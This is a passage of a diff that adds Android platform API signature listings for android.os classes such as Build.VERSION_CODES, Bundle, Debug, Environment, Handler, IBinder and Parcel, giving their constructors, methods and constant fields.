+    field public static final String INCREMENTAL;
+    field public static final int MEDIA_PERFORMANCE_CLASS;
+    field public static final int PREVIEW_SDK_INT;
+    field public static final String RELEASE;
+    field @NonNull public static final String RELEASE_OR_CODENAME;
+    field @Deprecated public static final String SDK;
+    field public static final int SDK_INT;
+    field public static final String SECURITY_PATCH;
+  }
+
+  public static class Build.VERSION_CODES {
+    ctor public Build.VERSION_CODES();
+    field public static final int BASE = 1; // 0x1
+    field public static final int BASE_1_1 = 2; // 0x2
+    field public static final int CUPCAKE = 3; // 0x3
+    field public static final int CUR_DEVELOPMENT = 10000; // 0x2710
+    field public static final int DONUT = 4; // 0x4
+    field public static final int ECLAIR = 5; // 0x5
+    field public static final int ECLAIR_0_1 = 6; // 0x6
+    field public static final int ECLAIR_MR1 = 7; // 0x7
+    field public static final int FROYO = 8; // 0x8
+    field public static final int GINGERBREAD = 9; // 0x9
+    field public static final int GINGERBREAD_MR1 = 10; // 0xa
+    field public static final int HONEYCOMB = 11; // 0xb
+    field public static final int HONEYCOMB_MR1 = 12; // 0xc
+    field public static final int HONEYCOMB_MR2 = 13; // 0xd
+    field public static final int ICE_CREAM_SANDWICH = 14; // 0xe
+    field public static final int ICE_CREAM_SANDWICH_MR1 = 15; // 0xf
+    field public static final int JELLY_BEAN = 16; // 0x10
+    field public static final int JELLY_BEAN_MR1 = 17; // 0x11
+    field public static final int JELLY_BEAN_MR2 = 18; // 0x12
+    field public static final int KITKAT = 19; // 0x13
+    field public static final int KITKAT_WATCH = 20; // 0x14
+    field public static final int LOLLIPOP = 21; // 0x15
+    field public static final int LOLLIPOP_MR1 = 22; // 0x16
+    field public static final int M = 23; // 0x17
+    field public static final int N = 24; // 0x18
+    field public static final int N_MR1 = 25; // 0x19
+    field public static final int O = 26; // 0x1a
+    field public static final int O_MR1 = 27; // 0x1b
+    field public static final int P = 28; // 0x1c
+    field public static final int Q = 29; // 0x1d
+    field public static final int R = 30; // 0x1e
+    field public static final int S = 31; // 0x1f
+  }
+
+  public final class Bundle extends android.os.BaseBundle implements java.lang.Cloneable android.os.Parcelable {
+    ctor public Bundle();
+    ctor public Bundle(ClassLoader);
+    ctor public Bundle(int);
+    ctor public Bundle(android.os.Bundle);
+    ctor public Bundle(android.os.PersistableBundle);
+    method public Object clone();
+    method public android.os.Bundle deepCopy();
+    method public int describeContents();
+    method @Nullable public android.os.IBinder getBinder(@Nullable String);
+    method @Nullable public android.os.Bundle getBundle(@Nullable String);
+    method public byte getByte(String);
+    method public Byte getByte(String, byte);
+    method @Nullable public byte[] getByteArray(@Nullable String);
+    method public char getChar(String);
+    method public char getChar(String, char);
+    method @Nullable public char[] getCharArray(@Nullable String);
+    method @Nullable public CharSequence getCharSequence(@Nullable String);
+    method public CharSequence getCharSequence(@Nullable String, CharSequence);
+    method @Nullable public CharSequence[] getCharSequenceArray(@Nullable String);
+    method @Nullable public java.util.ArrayList<java.lang.CharSequence> getCharSequenceArrayList(@Nullable String);
+    method public ClassLoader getClassLoader();
+    method public float getFloat(String);
+    method public float getFloat(String, float);
+    method @Nullable public float[] getFloatArray(@Nullable String);
+    method @Nullable public java.util.ArrayList<java.lang.Integer> getIntegerArrayList(@Nullable String);
+    method @Nullable public <T extends android.os.Parcelable> T getParcelable(@Nullable String);
+    method @Nullable public android.os.Parcelable[] getParcelableArray(@Nullable String);
+    method @Nullable public <T extends android.os.Parcelable> java.util.ArrayList<T> getParcelableArrayList(@Nullable String);
+    method @Nullable public java.io.Serializable getSerializable(@Nullable String);
+    method public short getShort(String);
+    method public short getShort(String, short);
+    method @Nullable public short[] getShortArray(@Nullable String);
+    method @Nullable public android.util.Size getSize(@Nullable String);
+    method @Nullable public android.util.SizeF getSizeF(@Nullable String);
+    method @Nullable public <T extends android.os.Parcelable> android.util.SparseArray<T> getSparseParcelableArray(@Nullable String);
+    method @Nullable public java.util.ArrayList<java.lang.String> getStringArrayList(@Nullable String);
+    method public boolean hasFileDescriptors();
+    method public void putAll(android.os.Bundle);
+    method public void putBinder(@Nullable String, @Nullable android.os.IBinder);
+    method public void putBundle(@Nullable String, @Nullable android.os.Bundle);
+    method public void putByte(@Nullable String, byte);
+    method public void putByteArray(@Nullable String, @Nullable byte[]);
+    method public void putChar(@Nullable String, char);
+    method public void putCharArray(@Nullable String, @Nullable char[]);
+    method public void putCharSequence(@Nullable String, @Nullable CharSequence);
+    method public void putCharSequenceArray(@Nullable String, @Nullable CharSequence[]);
+    method public void putCharSequenceArrayList(@Nullable String, @Nullable java.util.ArrayList<java.lang.CharSequence>);
+    method public void putFloat(@Nullable String, float);
+    method public void putFloatArray(@Nullable String, @Nullable float[]);
+    method public void putIntegerArrayList(@Nullable String, @Nullable java.util.ArrayList<java.lang.Integer>);
+    method public void putParcelable(@Nullable String, @Nullable android.os.Parcelable);
+    method public void putParcelableArray(@Nullable String, @Nullable android.os.Parcelable[]);
+    method public void putParcelableArrayList(@Nullable String, @Nullable java.util.ArrayList<? extends android.os.Parcelable>);
+    method public void putSerializable(@Nullable String, @Nullable java.io.Serializable);
+    method public void putShort(@Nullable String, short);
+    method public void putShortArray(@Nullable String, @Nullable short[]);
+    method public void putSize(@Nullable String, @Nullable android.util.Size);
+    method public void putSizeF(@Nullable String, @Nullable android.util.SizeF);
+    method public void putSparseParcelableArray(@Nullable String, @Nullable android.util.SparseArray<? extends android.os.Parcelable>);
+    method public void putStringArrayList(@Nullable String, @Nullable java.util.ArrayList<java.lang.String>);
+    method public void readFromParcel(android.os.Parcel);
+    method public void setClassLoader(ClassLoader);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.Bundle> CREATOR;
+    field public static final android.os.Bundle EMPTY;
+  }
+
+  public final class CancellationSignal {
+    ctor public CancellationSignal();
+    method public void cancel();
+    method public boolean isCanceled();
+    method public void setOnCancelListener(android.os.CancellationSignal.OnCancelListener);
+    method public void throwIfCanceled();
+  }
+
+  public static interface CancellationSignal.OnCancelListener {
+    method public void onCancel();
+  }
+
+  public abstract class CombinedVibration implements android.os.Parcelable {
+    method @NonNull public static android.os.CombinedVibration createParallel(@NonNull android.os.VibrationEffect);
+    method public int describeContents();
+    method @NonNull public static android.os.CombinedVibration.ParallelCombination startParallel();
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.CombinedVibration> CREATOR;
+  }
+
+  public static final class CombinedVibration.ParallelCombination {
+    method @NonNull public android.os.CombinedVibration.ParallelCombination addVibrator(int, @NonNull android.os.VibrationEffect);
+    method @NonNull public android.os.CombinedVibration combine();
+  }
+
+  public class ConditionVariable {
+    ctor public ConditionVariable();
+    ctor public ConditionVariable(boolean);
+    method public void block();
+    method public boolean block(long);
+    method public void close();
+    method public void open();
+  }
+
+  public abstract class CountDownTimer {
+    ctor public CountDownTimer(long, long);
+    method public final void cancel();
+    method public abstract void onFinish();
+    method public abstract void onTick(long);
+    method public final android.os.CountDownTimer start();
+  }
+
+  public final class CpuUsageInfo implements android.os.Parcelable {
+    method public int describeContents();
+    method public long getActive();
+    method public long getTotal();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.CpuUsageInfo> CREATOR;
+  }
+
+  public class DeadObjectException extends android.os.RemoteException {
+    ctor public DeadObjectException();
+    ctor public DeadObjectException(String);
+  }
+
+  public class DeadSystemException extends android.os.DeadObjectException {
+    ctor public DeadSystemException();
+  }
+
+  public final class Debug {
+    method public static void attachJvmtiAgent(@NonNull String, @Nullable String, @Nullable ClassLoader) throws java.io.IOException;
+    method @Deprecated public static void changeDebugPort(int);
+    method public static void dumpHprofData(String) throws java.io.IOException;
+    method public static boolean dumpService(String, java.io.FileDescriptor, String[]);
+    method public static void enableEmulatorTraceOutput();
+    method public static int getBinderDeathObjectCount();
+    method public static int getBinderLocalObjectCount();
+    method public static int getBinderProxyObjectCount();
+    method public static int getBinderReceivedTransactions();
+    method public static int getBinderSentTransactions();
+    method @Deprecated public static int getGlobalAllocCount();
+    method @Deprecated public static int getGlobalAllocSize();
+    method @Deprecated public static int getGlobalClassInitCount();
+    method @Deprecated public static int getGlobalClassInitTime();
+    method @Deprecated public static int getGlobalExternalAllocCount();
+    method @Deprecated public static int getGlobalExternalAllocSize();
+    method @Deprecated public static int getGlobalExternalFreedCount();
+    method @Deprecated public static int getGlobalExternalFreedSize();
+    method @Deprecated public static int getGlobalFreedCount();
+    method @Deprecated public static int getGlobalFreedSize();
+    method @Deprecated public static int getGlobalGcInvocationCount();
+    method public static int getLoadedClassCount();
+    method public static void getMemoryInfo(android.os.Debug.MemoryInfo);
+    method public static long getNativeHeapAllocatedSize();
+    method public static long getNativeHeapFreeSize();
+    method public static long getNativeHeapSize();
+    method public static long getPss();
+    method public static String getRuntimeStat(String);
+    method public static java.util.Map<java.lang.String,java.lang.String> getRuntimeStats();
+    method @Deprecated public static int getThreadAllocCount();
+    method @Deprecated public static int getThreadAllocSize();
+    method @Deprecated public static int getThreadExternalAllocCount();
+    method @Deprecated public static int getThreadExternalAllocSize();
+    method @Deprecated public static int getThreadGcInvocationCount();
+    method public static boolean isDebuggerConnected();
+    method public static void printLoadedClasses(int);
+    method @Deprecated public static void resetAllCounts();
+    method @Deprecated public static void resetGlobalAllocCount();
+    method @Deprecated public static void resetGlobalAllocSize();
+    method @Deprecated public static void resetGlobalClassInitCount();
+    method @Deprecated public static void resetGlobalClassInitTime();
+    method @Deprecated public static void resetGlobalExternalAllocCount();
+    method @Deprecated public static void resetGlobalExternalAllocSize();
+    method @Deprecated public static void resetGlobalExternalFreedCount();
+    method @Deprecated public static void resetGlobalExternalFreedSize();
+    method @Deprecated public static void resetGlobalFreedCount();
+    method @Deprecated public static void resetGlobalFreedSize();
+    method @Deprecated public static void resetGlobalGcInvocationCount();
+    method @Deprecated public static void resetThreadAllocCount();
+    method @Deprecated public static void resetThreadAllocSize();
+    method @Deprecated public static void resetThreadExternalAllocCount();
+    method @Deprecated public static void resetThreadExternalAllocSize();
+    method @Deprecated public static void resetThreadGcInvocationCount();
+    method @Deprecated public static int setAllocationLimit(int);
+    method @Deprecated public static int setGlobalAllocationLimit(int);
+    method @Deprecated public static void startAllocCounting();
+    method public static void startMethodTracing();
+    method public static void startMethodTracing(String);
+    method public static void startMethodTracing(String, int);
+    method public static void startMethodTracing(String, int, int);
+    method public static void startMethodTracingSampling(String, int, int);
+    method public static void startNativeTracing();
+    method @Deprecated public static void stopAllocCounting();
+    method public static void stopMethodTracing();
+    method public static void stopNativeTracing();
+    method public static long threadCpuTimeNanos();
+    method public static void waitForDebugger();
+    method public static boolean waitingForDebugger();
+    field public static final int SHOW_CLASSLOADER = 2; // 0x2
+    field public static final int SHOW_FULL_DETAIL = 1; // 0x1
+    field public static final int SHOW_INITIALIZED = 4; // 0x4
+    field @Deprecated public static final int TRACE_COUNT_ALLOCS = 1; // 0x1
+  }
+
+  @Deprecated public static class Debug.InstructionCount {
+    ctor @Deprecated public Debug.InstructionCount();
+    method @Deprecated public boolean collect();
+    method @Deprecated public int globalMethodInvocations();
+    method @Deprecated public int globalTotal();
+    method @Deprecated public boolean resetAndStart();
+  }
+
+  public static class Debug.MemoryInfo implements android.os.Parcelable {
+    ctor public Debug.MemoryInfo();
+    method public int describeContents();
+    method public String getMemoryStat(String);
+    method public java.util.Map<java.lang.String,java.lang.String> getMemoryStats();
+    method public int getTotalPrivateClean();
+    method public int getTotalPrivateDirty();
+    method public int getTotalPss();
+    method public int getTotalSharedClean();
+    method public int getTotalSharedDirty();
+    method public int getTotalSwappablePss();
+    method public void readFromParcel(android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.Debug.MemoryInfo> CREATOR;
+    field public int dalvikPrivateDirty;
+    field public int dalvikPss;
+    field public int dalvikSharedDirty;
+    field public int nativePrivateDirty;
+    field public int nativePss;
+    field public int nativeSharedDirty;
+    field public int otherPrivateDirty;
+    field public int otherPss;
+    field public int otherSharedDirty;
+  }
+
+  public class DropBoxManager {
+    ctor protected DropBoxManager();
+    method public void addData(@NonNull String, @Nullable byte[], int);
+    method public void addFile(@NonNull String, @NonNull java.io.File, int) throws java.io.IOException;
+    method public void addText(@NonNull String, @NonNull String);
+    method @Nullable @RequiresPermission(allOf={android.Manifest.permission.READ_LOGS, android.Manifest.permission.PACKAGE_USAGE_STATS}) public android.os.DropBoxManager.Entry getNextEntry(String, long);
+    method public boolean isTagEnabled(String);
+    field public static final String ACTION_DROPBOX_ENTRY_ADDED = "android.intent.action.DROPBOX_ENTRY_ADDED";
+    field public static final String EXTRA_DROPPED_COUNT = "android.os.extra.DROPPED_COUNT";
+    field public static final String EXTRA_TAG = "tag";
+    field public static final String EXTRA_TIME = "time";
+    field public static final int IS_EMPTY = 1; // 0x1
+    field public static final int IS_GZIPPED = 4; // 0x4
+    field public static final int IS_TEXT = 2; // 0x2
+  }
+
+  public static class DropBoxManager.Entry implements java.io.Closeable android.os.Parcelable {
+    ctor public DropBoxManager.Entry(@NonNull String, long);
+    ctor public DropBoxManager.Entry(@NonNull String, long, @NonNull String);
+    ctor public DropBoxManager.Entry(@NonNull String, long, @Nullable byte[], int);
+    ctor public DropBoxManager.Entry(@NonNull String, long, @Nullable android.os.ParcelFileDescriptor, int);
+    ctor public DropBoxManager.Entry(@NonNull String, long, @NonNull java.io.File, int) throws java.io.IOException;
+    method public void close();
+    method public int describeContents();
+    method public int getFlags();
+    method @Nullable public java.io.InputStream getInputStream() throws java.io.IOException;
+    method @NonNull public String getTag();
+    method @Nullable public String getText(int);
+    method public long getTimeMillis();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.DropBoxManager.Entry> CREATOR;
+  }
+
+  public class Environment {
+    ctor public Environment();
+    method public static java.io.File getDataDirectory();
+    method public static java.io.File getDownloadCacheDirectory();
+    method public static java.io.File getExternalStorageDirectory();
+    method public static java.io.File getExternalStoragePublicDirectory(String);
+    method public static String getExternalStorageState();
+    method public static String getExternalStorageState(java.io.File);
+    method @NonNull public static java.io.File getRootDirectory();
+    method @NonNull public static java.io.File getStorageDirectory();
+    method @Deprecated public static String getStorageState(java.io.File);
+    method public static boolean isExternalStorageEmulated();
+    method public static boolean isExternalStorageEmulated(@NonNull java.io.File);
+    method public static boolean isExternalStorageLegacy();
+    method public static boolean isExternalStorageLegacy(@NonNull java.io.File);
+    method public static boolean isExternalStorageManager();
+    method public static boolean isExternalStorageManager(@NonNull java.io.File);
+    method public static boolean isExternalStorageRemovable();
+    method public static boolean isExternalStorageRemovable(@NonNull java.io.File);
+    field public static String DIRECTORY_ALARMS;
+    field public static String DIRECTORY_AUDIOBOOKS;
+    field public static String DIRECTORY_DCIM;
+    field public static String DIRECTORY_DOCUMENTS;
+    field public static String DIRECTORY_DOWNLOADS;
+    field public static String DIRECTORY_MOVIES;
+    field public static String DIRECTORY_MUSIC;
+    field public static String DIRECTORY_NOTIFICATIONS;
+    field public static String DIRECTORY_PICTURES;
+    field public static String DIRECTORY_PODCASTS;
+    field @NonNull public static String DIRECTORY_RECORDINGS;
+    field public static String DIRECTORY_RINGTONES;
+    field public static String DIRECTORY_SCREENSHOTS;
+    field public static final String MEDIA_BAD_REMOVAL = "bad_removal";
+    field public static final String MEDIA_CHECKING = "checking";
+    field public static final String MEDIA_EJECTING = "ejecting";
+    field public static final String MEDIA_MOUNTED = "mounted";
+    field public static final String MEDIA_MOUNTED_READ_ONLY = "mounted_ro";
+    field public static final String MEDIA_NOFS = "nofs";
+    field public static final String MEDIA_REMOVED = "removed";
+    field public static final String MEDIA_SHARED = "shared";
+    field public static final String MEDIA_UNKNOWN = "unknown";
+    field public static final String MEDIA_UNMOUNTABLE = "unmountable";
+    field public static final String MEDIA_UNMOUNTED = "unmounted";
+  }
+
+  public abstract class FileObserver {
+    ctor @Deprecated public FileObserver(String);
+    ctor public FileObserver(@NonNull java.io.File);
+    ctor public FileObserver(@NonNull java.util.List<java.io.File>);
+    ctor @Deprecated public FileObserver(String, int);
+    ctor public FileObserver(@NonNull java.io.File, int);
+    ctor public FileObserver(@NonNull java.util.List<java.io.File>, int);
+    method protected void finalize();
+    method public abstract void onEvent(int, @Nullable String);
+    method public void startWatching();
+    method public void stopWatching();
+    field public static final int ACCESS = 1; // 0x1
+    field public static final int ALL_EVENTS = 4095; // 0xfff
+    field public static final int ATTRIB = 4; // 0x4
+    field public static final int CLOSE_NOWRITE = 16; // 0x10
+    field public static final int CLOSE_WRITE = 8; // 0x8
+    field public static final int CREATE = 256; // 0x100
+    field public static final int DELETE = 512; // 0x200
+    field public static final int DELETE_SELF = 1024; // 0x400
+    field public static final int MODIFY = 2; // 0x2
+    field public static final int MOVED_FROM = 64; // 0x40
+    field public static final int MOVED_TO = 128; // 0x80
+    field public static final int MOVE_SELF = 2048; // 0x800
+    field public static final int OPEN = 32; // 0x20
+  }
+
+  public class FileUriExposedException extends java.lang.RuntimeException {
+    ctor public FileUriExposedException(String);
+  }
+
+  public final class FileUtils {
+    method @Deprecated public static void closeQuietly(@Nullable AutoCloseable);
+    method @Deprecated public static void closeQuietly(@Nullable java.io.FileDescriptor);
+    method public static long copy(@NonNull java.io.InputStream, @NonNull java.io.OutputStream) throws java.io.IOException;
+    method public static long copy(@NonNull java.io.InputStream, @NonNull java.io.OutputStream, @Nullable android.os.CancellationSignal, @Nullable java.util.concurrent.Executor, @Nullable android.os.FileUtils.ProgressListener) throws java.io.IOException;
+    method public static long copy(@NonNull java.io.FileDescriptor, @NonNull java.io.FileDescriptor) throws java.io.IOException;
+    method public static long copy(@NonNull java.io.FileDescriptor, @NonNull java.io.FileDescriptor, @Nullable android.os.CancellationSignal, @Nullable java.util.concurrent.Executor, @Nullable android.os.FileUtils.ProgressListener) throws java.io.IOException;
+  }
+
+  public static interface FileUtils.ProgressListener {
+    method public void onProgress(long);
+  }
+
+  public class Handler {
+    ctor @Deprecated public Handler();
+    ctor @Deprecated public Handler(@Nullable android.os.Handler.Callback);
+    ctor public Handler(@NonNull android.os.Looper);
+    ctor public Handler(@NonNull android.os.Looper, @Nullable android.os.Handler.Callback);
+    method @NonNull public static android.os.Handler createAsync(@NonNull android.os.Looper);
+    method @NonNull public static android.os.Handler createAsync(@NonNull android.os.Looper, @NonNull android.os.Handler.Callback);
+    method public void dispatchMessage(@NonNull android.os.Message);
+    method public final void dump(@NonNull android.util.Printer, @NonNull String);
+    method @NonNull public final android.os.Looper getLooper();
+    method @NonNull public String getMessageName(@NonNull android.os.Message);
+    method public void handleMessage(@NonNull android.os.Message);
+    method public final boolean hasCallbacks(@NonNull Runnable);
+    method public final boolean hasMessages(int);
+    method public final boolean hasMessages(int, @Nullable Object);
+    method @NonNull public final android.os.Message obtainMessage();
+    method @NonNull public final android.os.Message obtainMessage(int);
+    method @NonNull public final android.os.Message obtainMessage(int, @Nullable Object);
+    method @NonNull public final android.os.Message obtainMessage(int, int, int);
+    method @NonNull public final android.os.Message obtainMessage(int, int, int, @Nullable Object);
+    method public final boolean post(@NonNull Runnable);
+    method public final boolean postAtFrontOfQueue(@NonNull Runnable);
+    method public final boolean postAtTime(@NonNull Runnable, long);
+    method public final boolean postAtTime(@NonNull Runnable, @Nullable Object, long);
+    method public final boolean postDelayed(@NonNull Runnable, long);
+    method public final boolean postDelayed(@NonNull Runnable, @Nullable Object, long);
+    method public final void removeCallbacks(@NonNull Runnable);
+    method public final void removeCallbacks(@NonNull Runnable, @Nullable Object);
+    method public final void removeCallbacksAndMessages(@Nullable Object);
+    method public final void removeMessages(int);
+    method public final void removeMessages(int, @Nullable Object);
+    method public final boolean sendEmptyMessage(int);
+    method public final boolean sendEmptyMessageAtTime(int, long);
+    method public final boolean sendEmptyMessageDelayed(int, long);
+    method public final boolean sendMessage(@NonNull android.os.Message);
+    method public final boolean sendMessageAtFrontOfQueue(@NonNull android.os.Message);
+    method public boolean sendMessageAtTime(@NonNull android.os.Message, long);
+    method public final boolean sendMessageDelayed(@NonNull android.os.Message, long);
+  }
+
+  public static interface Handler.Callback {
+    method public boolean handleMessage(@NonNull android.os.Message);
+  }
+
+  public class HandlerThread extends java.lang.Thread {
+    ctor public HandlerThread(String);
+    ctor public HandlerThread(String, int);
+    method public android.os.Looper getLooper();
+    method public int getThreadId();
+    method protected void onLooperPrepared();
+    method public boolean quit();
+    method public boolean quitSafely();
+  }
+
+  public class HardwarePropertiesManager {
+    method @NonNull public android.os.CpuUsageInfo[] getCpuUsages();
+    method @NonNull public float[] getDeviceTemperatures(int, int);
+    method @NonNull public float[] getFanSpeeds();
+    field public static final int DEVICE_TEMPERATURE_BATTERY = 2; // 0x2
+    field public static final int DEVICE_TEMPERATURE_CPU = 0; // 0x0
+    field public static final int DEVICE_TEMPERATURE_GPU = 1; // 0x1
+    field public static final int DEVICE_TEMPERATURE_SKIN = 3; // 0x3
+    field public static final int TEMPERATURE_CURRENT = 0; // 0x0
+    field public static final int TEMPERATURE_SHUTDOWN = 2; // 0x2
+    field public static final int TEMPERATURE_THROTTLING = 1; // 0x1
+    field public static final int TEMPERATURE_THROTTLING_BELOW_VR_MIN = 3; // 0x3
+    field public static final float UNDEFINED_TEMPERATURE = -3.4028235E38f;
+  }
+
+  public interface IBinder {
+    method public void dump(@NonNull java.io.FileDescriptor, @Nullable String[]) throws android.os.RemoteException;
+    method public void dumpAsync(@NonNull java.io.FileDescriptor, @Nullable String[]) throws android.os.RemoteException;
+    method @Nullable public String getInterfaceDescriptor() throws android.os.RemoteException;
+    method public static int getSuggestedMaxIpcSizeBytes();
+    method public boolean isBinderAlive();
+    method public void linkToDeath(@NonNull android.os.IBinder.DeathRecipient, int) throws android.os.RemoteException;
+    method public boolean pingBinder();
+    method @Nullable public android.os.IInterface queryLocalInterface(@NonNull String);
+    method public boolean transact(int, @NonNull android.os.Parcel, @Nullable android.os.Parcel, int) throws android.os.RemoteException;
+    method public boolean unlinkToDeath(@NonNull android.os.IBinder.DeathRecipient, int);
+    field public static final int DUMP_TRANSACTION = 1598311760; // 0x5f444d50
+    field public static final int FIRST_CALL_TRANSACTION = 1; // 0x1
+    field public static final int FLAG_ONEWAY = 1; // 0x1
+    field public static final int INTERFACE_TRANSACTION = 1598968902; // 0x5f4e5446
+    field public static final int LAST_CALL_TRANSACTION = 16777215; // 0xffffff
+    field public static final int LIKE_TRANSACTION = 1598835019; // 0x5f4c494b
+    field public static final int PING_TRANSACTION = 1599098439; // 0x5f504e47
+    field public static final int TWEET_TRANSACTION = 1599362900; // 0x5f545754
+  }
+
+  public static interface IBinder.DeathRecipient {
+    method public void binderDied();
+  }
+
+  public interface IInterface {
+    method public android.os.IBinder asBinder();
+  }
+
+  public class LimitExceededException extends java.lang.IllegalStateException {
+    ctor public LimitExceededException();
+    ctor public LimitExceededException(@NonNull String);
+  }
+
+  public final class LocaleList implements android.os.Parcelable {
+    ctor public LocaleList(@NonNull java.util.Locale...);
+    method public int describeContents();
+    method @NonNull public static android.os.LocaleList forLanguageTags(@Nullable String);
+    method public java.util.Locale get(int);
+    method @NonNull @Size(min=1) public static android.os.LocaleList getAdjustedDefault();
+    method @NonNull @Size(min=1) public static android.os.LocaleList getDefault();
+    method @NonNull public static android.os.LocaleList getEmptyLocaleList();
+    method @Nullable public java.util.Locale getFirstMatch(String[]);
+    method @IntRange(from=0xffffffff) public int indexOf(java.util.Locale);
+    method public boolean isEmpty();
+    method public static boolean isPseudoLocale(@Nullable android.icu.util.ULocale);
+    method public static void setDefault(@NonNull @Size(min=1) android.os.LocaleList);
+    method @IntRange(from=0) public int size();
+    method @NonNull public String toLanguageTags();
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.LocaleList> CREATOR;
+  }
+
+  public final class Looper {
+    method public void dump(@NonNull android.util.Printer, @NonNull String);
+    method public static android.os.Looper getMainLooper();
+    method @NonNull public android.os.MessageQueue getQueue();
+    method @NonNull public Thread getThread();
+    method public boolean isCurrentThread();
+    method public static void loop();
+    method @Nullable public static android.os.Looper myLooper();
+    method @NonNull public static android.os.MessageQueue myQueue();
+    method public static void prepare();
+    method @Deprecated public static void prepareMainLooper();
+    method public void quit();
+    method public void quitSafely();
+    method public void setMessageLogging(@Nullable android.util.Printer);
+  }
+
+  public class MemoryFile {
+    ctor public MemoryFile(String, int) throws java.io.IOException;
+    method @Deprecated public boolean allowPurging(boolean) throws java.io.IOException;
+    method public void close();
+    method public java.io.InputStream getInputStream();
+    method public java.io.OutputStream getOutputStream();
+    method @Deprecated public boolean isPurgingAllowed();
+    method public int length();
+    method public int readBytes(byte[], int, int, int) throws java.io.IOException;
+    method public void writeBytes(byte[], int, int, int) throws java.io.IOException;
+  }
+
+  public final class Message implements android.os.Parcelable {
+    ctor public Message();
+    method public void copyFrom(android.os.Message);
+    method public int describeContents();
+    method public Runnable getCallback();
+    method public android.os.Bundle getData();
+    method public android.os.Handler getTarget();
+    method public long getWhen();
+    method public boolean isAsynchronous();
+    method public static android.os.Message obtain();
+    method public static android.os.Message obtain(android.os.Message);
+    method public static android.os.Message obtain(android.os.Handler);
+    method public static android.os.Message obtain(android.os.Handler, Runnable);
+    method public static android.os.Message obtain(android.os.Handler, int);
+    method public static android.os.Message obtain(android.os.Handler, int, Object);
+    method public static android.os.Message obtain(android.os.Handler, int, int, int);
+    method public static android.os.Message obtain(android.os.Handler, int, int, int, Object);
+    method public android.os.Bundle peekData();
+    method public void recycle();
+    method public void sendToTarget();
+    method public void setAsynchronous(boolean);
+    method public void setData(android.os.Bundle);
+    method public void setTarget(android.os.Handler);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.Message> CREATOR;
+    field public int arg1;
+    field public int arg2;
+    field public Object obj;
+    field public android.os.Messenger replyTo;
+    field public int sendingUid;
+    field public int what;
+  }
+
+  public final class MessageQueue {
+    method public void addIdleHandler(@NonNull android.os.MessageQueue.IdleHandler);
+    method public void addOnFileDescriptorEventListener(@NonNull java.io.FileDescriptor, int, @NonNull android.os.MessageQueue.OnFileDescriptorEventListener);
+    method public boolean isIdle();
+    method public void removeIdleHandler(@NonNull android.os.MessageQueue.IdleHandler);
+    method public void removeOnFileDescriptorEventListener(@NonNull java.io.FileDescriptor);
+  }
+
+  public static interface MessageQueue.IdleHandler {
+    method public boolean queueIdle();
+  }
+
+  public static interface MessageQueue.OnFileDescriptorEventListener {
+    method public int onFileDescriptorEvents(@NonNull java.io.FileDescriptor, int);
+    field public static final int EVENT_ERROR = 4; // 0x4
+    field public static final int EVENT_INPUT = 1; // 0x1
+    field public static final int EVENT_OUTPUT = 2; // 0x2
+  }
+
+  public final class Messenger implements android.os.Parcelable {
+    ctor public Messenger(android.os.Handler);
+    ctor public Messenger(android.os.IBinder);
+    method public int describeContents();
+    method public android.os.IBinder getBinder();
+    method public static android.os.Messenger readMessengerOrNullFromParcel(android.os.Parcel);
+    method public void send(android.os.Message) throws android.os.RemoteException;
+    method public static void writeMessengerOrNullToParcel(android.os.Messenger, android.os.Parcel);
+    method public void writeToParcel(android.os.Parcel, int);
+    field @NonNull public static final android.os.Parcelable.Creator<android.os.Messenger> CREATOR;
+  }
+
+  public class NetworkOnMainThreadException extends java.lang.RuntimeException {
+    ctor public NetworkOnMainThreadException();
+  }
+
+  public class OperationCanceledException extends java.lang.RuntimeException {
+    ctor public OperationCanceledException();
+    ctor public OperationCanceledException(String);
+  }
+
+  public interface OutcomeReceiver<R, E extends java.lang.Throwable> {
+    method public default void onError(@NonNull E);
+    method public void onResult(@NonNull R);
+  }
+
+  public final class Parcel {
+    method public void appendFrom(android.os.Parcel, int, int);
+    method @Nullable public android.os.IBinder[] createBinderArray();
+    method @Nullable public java.util.ArrayList<android.os.IBinder> createBinderArrayList();
+    method @Nullable public boolean[] createBooleanArray();
+    method @Nullable public byte[] createByteArray();
+    method @Nullable public char[] createCharArray();
+    method @Nullable public double[] createDoubleArray();
+    method @Nullable public float[] createFloatArray();
+    method @Nullable public int[] createIntArray();
+    method @Nullable public long[] createLongArray();
+    method @Nullable public String[] createStringArray();
+    method @Nullable public java.util.ArrayList<java.lang.String> createStringArrayList();
+    method @Nullable public <T> T[] createTypedArray(@NonNull android.os.Parcelable.Creator<T>);
+    method @Nullable public <T> java.util.ArrayList<T> createTypedArrayList(@NonNull android.os.Parcelable.Creator<T>);
+    method @Nullable public <T extends android.os.Parcelable> android.util.ArrayMap<java.lang.String,T> createTypedArrayMap(@NonNull android.os.Parcelable.Creator<T>);
+    method @Nullable public <T extends android.os.Parcelable> android.util.SparseArray<T> createTypedSparseArray(@NonNull android.os.Parcelable.Creator<T>);
+    method public int dataAvail();
+    method public int dataCapacity();
+    method public int dataPosition();
+    method public int dataSize();
+    method public void enforceInterface(@NonNull String);
+    method public boolean hasFileDescriptors();
+    method public byte[] marshall();
+    method @NonNull public static android.os.Parcel obtain();
+    method @Nullable public Object[] readArray(@Nullable ClassLoader);
+    method @Nullable public java.util.ArrayList readArrayList(@Nullable ClassLoader);
+    method public void readBinderArray(@NonNull android.os.IBinder[]);
+    method public void readBinderList(@NonNull java.util.List<android.os.IBinder>);
+    method public boolean readBoolean();
+    method public void readBooleanArray(@NonNull boolean[]);
+    method @Nullable public android.os.Bundle readBundle();
+    method @Nullable public android.os.Bundle readBundle(@Nullable ClassLoader);
+    method public byte readByte();
+    method public void readByteArray(@NonNull byte[]);
+    method public void readCharArray(@NonNull char[]);
+    method public double readDouble();
+    method public void readDoubleArray(@NonNull double[]);
+    method public void readException();
+    method public void readException(int, String);
+    method public android.os.ParcelFileDescriptor readFileDescriptor();
+    method public float readFloat();
+    method public void readFloatArray(@NonNull float[]);
